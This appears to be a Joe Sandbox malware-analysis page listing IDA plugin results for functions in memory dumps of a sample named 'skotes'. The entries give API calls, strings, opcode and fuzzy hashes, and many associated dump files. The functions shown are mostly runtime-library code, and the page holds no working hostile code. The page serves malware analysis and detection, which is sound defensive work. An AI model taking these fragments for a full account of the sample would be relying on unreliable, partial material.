Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 51dce3cd7a0a84232141b23f901a3fbbebe3975ac58cf29a15b7060b63b4ddc9
Instruction ID: 12753f7c411b4f5a1362f525042e94c0aa5f3e7751587070f8ba1b3a0f03c69f
Opcode Fuzzy Hash: 51dce3cd7a0a84232141b23f901a3fbbebe3975ac58cf29a15b7060b63b4ddc9
Instruction Fuzzy Hash: 14317A71B00215CBCB15DFA8C8456EEB7B4EF09310B64406EE845E7391DBB8AE02CBA1

Function 007DCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007DCC66

Strings

v}, xrefs: 007DCBE1

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v}
API String ID: 3213747228-3017820013
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 37180f2949dc37939cec606bb69100546894de936bf7c3b2f27a38c5a3d0e866
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 13B13672A052869FDB16CF68C8817AEBBF5EF45350F1441ABE949EB342D63C9D01CB60

Function 007D1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 007D1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007D1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007D1C2A

Strings

switchState, xrefs: 007D1B5E
pContext, xrefs: 007D1C22

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 825090d5170be5e1e19e41e8bf3cf9a632bb6b63d33c5de368c0673b222fa418
Instruction ID: a6016a59114138440f4e356fbcee8e0dc65ee9493bba4c022e8678edfca112b6
Opcode Fuzzy Hash: 825090d5170be5e1e19e41e8bf3cf9a632bb6b63d33c5de368c0673b222fa418
Instruction Fuzzy Hash: 2D31A475A00214EBCF05EF68C895AADB375FF44324F608567E91597392EB78EE01CAA0

Function 007D4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 007D4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 007D4E86
PMDtoOffset.LIBCMT ref: 007D4EAC

Strings

Bad dynamic_cast!, xrefs: 007D4EEE

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 8cda0cab96a9531a3396cc6edb7a62eb75fece1a537e0ed120d57307ae87b506
Instruction ID: 9b12f81fb38bd55681bb121aca6e56469a46617089002a6c244bafba5077c637
Opcode Fuzzy Hash: 8cda0cab96a9531a3396cc6edb7a62eb75fece1a537e0ed120d57307ae87b506
Instruction Fuzzy Hash: 4D21B572604205EFCF14DFA8DD4AEAA77B8FB44724B24412BF915D7380DB39E90086A1

Function 007D727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 007D72BE

Strings

.exe, xrefs: 007D72CB
.com, xrefs: 007D72FE
.bat, xrefs: 007D72ED
.cmd, xrefs: 007D72DC

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 1b47293fb8f6ebbde770138b1a715d781b0a5e9640d901370ab4892b7a36c163
Instruction ID: 751173ebd48f44abcd56278ec31c0733d605500469a479536cb2bdd7c3677c5a
Opcode Fuzzy Hash: 1b47293fb8f6ebbde770138b1a715d781b0a5e9640d901370ab4892b7a36c163
Instruction Fuzzy Hash: 6B012627718A6675A71810599D02B7613B89BC2BB4B26002BFC58F73C2FF4CDC42A1B0

Function 007BFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007BFB06

Strings

kernel32.dll, xrefs: 007BFA7A
GetCurrentProcessorNumberEx, xrefs: 007BFABE
GetThreadGroupAffinity, xrefs: 007BFA93
SetThreadGroupAffinity, xrefs: 007BFA87

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
